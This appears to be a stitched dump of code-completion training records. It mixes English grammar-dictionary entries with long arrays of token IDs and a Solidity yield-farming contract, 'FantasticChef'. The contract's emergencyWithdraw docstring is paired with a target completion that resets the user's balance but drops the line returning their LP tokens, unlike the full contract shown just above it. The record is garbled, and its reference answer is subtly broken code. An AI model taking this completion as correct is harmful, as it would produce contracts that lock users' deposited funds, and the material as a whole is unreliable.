PreferAdj(scholastical) PreferAdj(secondary) PreferAdj(sectional) PreferAdj(semiliquid) PreferAdj(semiprofessional) PreferAdj(sensitive) PreferAdj(several) PreferAdj(sharp) PreferAdj(short) PreferAdj(shy) PreferAdj(silent) PreferAdj(silly) PreferAdj(simple) PreferAdj(single) PreferAdj(sleepy) PreferAdj(slight) PreferAdj(slim) PreferAdj(small) PreferAdj(smooth) PreferAdj(social) PreferAdj(socratic) PreferAdj(solid) PreferAdj(solitary) PreferAdj(southerly) PreferAdj(soviet) PreferAdj(spare) PreferAdj(special) PreferAdj(specific) PreferAdj(spiritual) PreferAdj(stainless) PreferAdj(static) PreferAdj(still) PreferAdj(straight) PreferAdj(straightaway) PreferAdj(structureless) PreferAdj(stupid) PreferAdj(subnormal) PreferAdj(subtropical) PreferAdj(Tropical) PreferAdj(Digestive) PreferAdj(Pneumonic) PreferAdj(sudden) PreferAdj(superficial) PreferAdj(sweet) PreferAdj(taxable) PreferAdj(theocratical) PreferAdj(thermal) PreferAdj(thick) PreferAdj(thin) PreferAdj(transnational) PreferAdj(transorbital) PreferAdj(trendy) PreferAdj(tribal) PreferAdj(trilingual) PreferAdj(triliteral) PreferAdj(trillionth) PreferAdj(trisyllabic) PreferAdj(turbinal) PreferAdj(ugly) PreferAdj(ultimate) PreferAdj(ultraportable) PreferAdj(ultrarevolutionary) PreferAdj(ultrashort) PreferAdj(ultraviolet) PreferAdj(unattractive) PreferAdj(unchangeable) PreferAdj(uncommunicative) PreferAdj(unconventional) PreferAdj(uncopyrightable) PreferAdj(uncountable) PreferAdj(undefeatable) PreferAdj(undesirable) PreferAdj(unicellular) PreferAdj(unimpressive) PreferAdj(uninjured) PreferAdj(unknowable) PreferAdj(unknown) PreferAdj(unlikely) PreferAdj(unlockable) PreferAdj(unmoral) PreferAdj(unperceptive) PreferAdj(unpredictable) PreferAdj(unprintable) PreferAdj(unproductive) PreferAdj(unpronounceable) PreferAdj(unprovable) PreferAdj(unquantifiable) PreferAdj(unquestionable) PreferAdj(unreachable) PreferAdj(unreliable) PreferAdj(unresponsive) PreferAdj(unrestrained) PreferAdj(unrestricted) PreferAdj(unsalable) PreferAdj(unshrinkable) PreferAdj(unsuccessful) PreferAdj(unsuspicious) PreferAdj(untimely) PreferAdj(untouchable) PreferAdj(unwearable) PreferAdj(unwonted) PreferAdj(unworth) PreferAdj(utmost) PreferAdj(verbal) PreferAdj(viral) PreferAdj(virginal) PreferAdj(visual) PreferAdj(vocable) PreferAdj(wearable) PreferAdj(weekly) PreferAdj(weird) PreferAdj(westerly) PreferAdj(which) PreferAdj(whirly) PreferAdj(whole) PreferAdj(wide) PreferAdj(woolen) PreferAdj(wormy) PreferAdj(wrinkly) PreferAdj(wrong) PreferAdj(yearly) PreferAdj(auburn) PreferAdj(black) PreferAdj(green) PreferAdj(gray) PreferAdj(pink) PreferAdj(tawny) PreferAdj(ultramarine) PreferAdj(yellow) PreferAdj(allergic) // The infection precipitated a high fever and allergic reactions. #define PreferNumeral(x) \ #begin wordform_score x { eng_noun } = -1 #end PreferNumeral(two) PreferNumeral(three) PreferNumeral(four) PreferNumeral(five) PreferNumeral(six) PreferNumeral(seven) PreferNumeral(eight) PreferNumeral(nine) PreferNumeral(ten)
Monolingual speakers.
wordform_score Monolingual { eng_noun }=-5
12,607,833
[ 1, 4625, 348, 7953, 560, 30, 225, 9041, 355, 310, 1462, 272, 10244, 414, 18, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1095, 687, 67, 6355, 9041, 355, 310, 1462, 288, 24691, 67, 82, 465, 289, 29711, 25, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol"; import "@boringcrypto/boring-solidity/contracts/BoringBatchable.sol"; import "@boringcrypto/boring-solidity/contracts/BoringOwnable.sol"; import "./FantasticToken.sol" as FantasticToken; import "./libraries/SignedSafeMath.sol"; import "./interfaces/IRewarder.sol"; library SafeMath { function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } interface IMigratorChef { // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. function migrate(IERC20 token) external returns (IERC20); } /// It is the only address with minting rights for FANTA. contract FantasticChef is BoringOwnable, BoringBatchable { using SafeMath for uint256; using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; using SignedSafeMath for int256; /// @notice Info of each MCV2 user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of FANTA entitled to the user. struct UserInfo { uint256 amount; int256 rewardDebt; } /// @notice Info of each MCV2 pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of FANTA to distribute per block. struct PoolInfo { uint128 accFantaPerShare; uint64 lastRewardTime; uint64 allocPoint; } /// @notice Address of FANTA contract. FantasticToken.FantasticToken public immutable FANTA; // Dev address. address public devaddr; // @notice The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; /// @notice Info of each MCV2 pool. PoolInfo[] public poolInfo; /// @notice Address of the LP token for each MCV2 pool. IERC20[] public lpToken; /// @notice Address of each `IRewarder` contract in MCV2. IRewarder[] public rewarder; /// @notice Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; /// @dev Tokens added mapping(address => bool) public addedTokens; /// @dev Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public fantaPerSecond; uint256 private constant ACC_FANTA_PRECISION = 1e12; event Deposit( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event Withdraw( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event LogPoolAddition( uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder ); event LogSetPool( uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite ); event LogUpdatePool( uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accFantaPerShare ); event LogFantaPerSecond(uint256 fantaPerSecond); /// @param _fanta The FANTA token contract address. constructor(FantasticToken.FantasticToken _fanta, address _devaddr) public { FANTA = _fanta; devaddr = _devaddr; } /// @notice Returns the number of MCV2 pools. function poolLength() public view returns (uint256 pools) { pools = poolInfo.length; } /// @notice Add a new LP to the pool. Can only be called by the owner. /// DO NOT add the same LP token more than once. Rewards will be messed up if you do. /// @param allocPoint AP of the new pool. /// @param _lpToken Address of the LP ERC-20 token. /// @param _rewarder Address of the rewarder delegate. function add( uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder ) public onlyOwner { require(addedTokens[address(_lpToken)] == false, "Token already added"); totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push( PoolInfo({ allocPoint: allocPoint.to64(), lastRewardTime: block.timestamp.to64(), accFantaPerShare: 0 }) ); addedTokens[address(_lpToken)] = true; emit LogPoolAddition( lpToken.length.sub(1), allocPoint, _lpToken, _rewarder ); } /// @notice Update the given pool's FANTA allocation point and `IRewarder` contract. Can only be called by the owner. /// @param _pid The index of the pool. See `poolInfo`. /// @param _allocPoint New AP of the pool. /// @param _rewarder Address of the rewarder delegate. /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored. function set( uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite ) public onlyOwner { totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint.to64(); if (overwrite) { rewarder[_pid] = _rewarder; } emit LogSetPool( _pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite ); } /// @notice Sets the fanta per second to be distributed. Can only be called by the owner. /// @param _fantaPerSecond The amount of Fanta to be distributed per second. function setFantaPerSecond(uint256 _fantaPerSecond) public onlyOwner { fantaPerSecond = _fantaPerSecond; emit LogFantaPerSecond(_fantaPerSecond); } /// @notice Set the `migrator` contract. Can only be called by the owner. /// @param _migrator The contract address to set. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } /// @notice Migrate LP token to another LP contract through the `migrator` contract. /// @param _pid The index of the pool. See `poolInfo`. function migrate(uint256 _pid) public { require( address(migrator) != address(0), "FantasticChef: no migrator set" ); IERC20 _lpToken = lpToken[_pid]; uint256 bal = _lpToken.balanceOf(address(this)); _lpToken.approve(address(migrator), bal); IERC20 newLpToken = migrator.migrate(_lpToken); require( bal == newLpToken.balanceOf(address(this)), "FantasticChef: migrated balance must match" ); require( addedTokens[address(newLpToken)] == false, "Token already added" ); addedTokens[address(newLpToken)] = true; addedTokens[address(_lpToken)] = false; lpToken[_pid] = newLpToken; } /// @notice View function to see pending FANTA on frontend. /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending FANTA reward for a given user. function pendingFanta(uint256 _pid, address _user) external view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accFantaPerShare = pool.accFantaPerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 fantaReward = time.mul(fantaPerSecond).mul( pool.allocPoint ) / totalAllocPoint; accFantaPerShare = accFantaPerShare.add( fantaReward.mul(ACC_FANTA_PRECISION) / lpSupply ); } pending = int256( user.amount.mul(accFantaPerShare) / ACC_FANTA_PRECISION ).sub(user.rewardDebt).toUInt256(); } /// @notice Update reward variables for all pools. Be careful of gas spending! /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePools(uint256[] calldata pids) external { uint256 len = pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(pids[i]); } } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.timestamp > pool.lastRewardTime) { uint256 lpSupply = lpToken[pid].balanceOf(address(this)); if (lpSupply > 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 fantaReward = time.mul(fantaPerSecond).mul( pool.allocPoint ) / totalAllocPoint; FANTA.mint(devaddr, fantaReward.div(10)); FANTA.mint(address(this), fantaReward); pool.accFantaPerShare = pool.accFantaPerShare.add( (fantaReward.mul(ACC_FANTA_PRECISION) / lpSupply).to128() ); } pool.lastRewardTime = block.timestamp.to64(); poolInfo[pid] = pool; emit LogUpdatePool( pid, pool.lastRewardTime, lpSupply, pool.accFantaPerShare ); } } /// @notice Deposit LP tokens to MCV2 for FANTA allocation. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to deposit. /// @param to The receiver of `amount` deposit benefit. function deposit( uint256 pid, uint256 amount, address to ) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][to]; // Effects user.amount = user.amount.add(amount); user.rewardDebt = user.rewardDebt.add( int256(amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION) ); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward(pid, to, to, 0, user.amount); } lpToken[pid].safeTransferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, pid, amount, to); } /// @notice Withdraw LP tokens from MCV2. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens. function withdraw( uint256 pid, uint256 amount, address to ) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; // Effects user.rewardDebt = user.rewardDebt.sub( int256(amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION) ); user.amount = user.amount.sub(amount); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward(pid, msg.sender, to, 0, user.amount); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); } /// @notice Harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of FANTA rewards. function harvest(uint256 pid, address to) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedFanta = int256( user.amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION ); uint256 _pendingFanta = accumulatedFanta .sub(user.rewardDebt) .toUInt256(); // Effects user.rewardDebt = accumulatedFanta; // Interactions if (_pendingFanta != 0) { // FANTA.safeTransfer(to, _pendingFanta); safeFantaTransfer(to, _pendingFanta); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward( pid, msg.sender, to, _pendingFanta, user.amount ); } emit Harvest(msg.sender, pid, _pendingFanta); } /// @notice Withdraw LP tokens from MCV2 and harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens and FANTA rewards. function withdrawAndHarvest( uint256 pid, uint256 amount, address to ) public { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][msg.sender]; int256 accumulatedFanta = int256( user.amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION ); uint256 _pendingFanta = accumulatedFanta .sub(user.rewardDebt) .toUInt256(); // Effects user.rewardDebt = accumulatedFanta.sub( int256(amount.mul(pool.accFantaPerShare) / ACC_FANTA_PRECISION) ); user.amount = user.amount.sub(amount); // Interactions // FANTA.safeTransfer(to, _pendingFanta); safeFantaTransfer(to, _pendingFanta); IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward( pid, msg.sender, to, _pendingFanta, user.amount ); } lpToken[pid].safeTransfer(to, amount); emit Withdraw(msg.sender, pid, amount, to); emit Harvest(msg.sender, pid, _pendingFanta); } /// @notice Withdraw without caring about rewards. EMERGENCY ONLY. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of the LP tokens. function emergencyWithdraw(uint256 pid, address to) public { UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward(pid, msg.sender, to, 0, 0); } // Note: transfer can fail or succeed if `amount` is zero. lpToken[pid].safeTransfer(to, amount); emit EmergencyWithdraw(msg.sender, pid, amount, to); } // Safe fanta transfer function, just in case if rounding error causes pool to not have enough FANTAs. function safeFantaTransfer(address _to, uint256 _amount) internal { uint256 fantaBal = FANTA.balanceOf(address(this)); if (_amount > fantaBal) { FANTA.transfer(_to, fantaBal); } else { FANTA.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
@notice Withdraw without caring about rewards. EMERGENCY ONLY. @param pid The index of the pool. See `poolInfo`. @param to Receiver of the LP tokens.
function emergencyWithdraw(uint256 pid, address to) public { UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onFantaReward(pid, msg.sender, to, 0, 0); } emit EmergencyWithdraw(msg.sender, pid, amount, to); }
1,072,772
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 20392, 3423, 9446, 2887, 5926, 310, 2973, 283, 6397, 18, 7141, 654, 16652, 16068, 20747, 18, 632, 891, 4231, 1021, 770, 434, 326, 2845, 18, 2164, 1375, 6011, 966, 8338, 632, 891, 358, 31020, 434, 326, 511, 52, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 801, 24530, 1190, 9446, 12, 11890, 5034, 4231, 16, 1758, 358, 13, 1071, 288, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 6610, 6362, 3576, 18, 15330, 15533, 203, 3639, 2254, 5034, 3844, 273, 729, 18, 8949, 31, 203, 3639, 729, 18, 8949, 273, 374, 31, 203, 3639, 729, 18, 266, 2913, 758, 23602, 273, 374, 31, 203, 203, 3639, 15908, 359, 297, 765, 389, 266, 20099, 273, 283, 20099, 63, 6610, 15533, 203, 3639, 309, 261, 2867, 24899, 266, 20099, 13, 480, 1758, 12, 20, 3719, 288, 203, 5411, 389, 266, 20099, 18, 265, 42, 27677, 17631, 1060, 12, 6610, 16, 1234, 18, 15330, 16, 358, 16, 374, 16, 374, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 512, 6592, 75, 2075, 1190, 9446, 12, 3576, 18, 15330, 16, 4231, 16, 3844, 16, 358, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 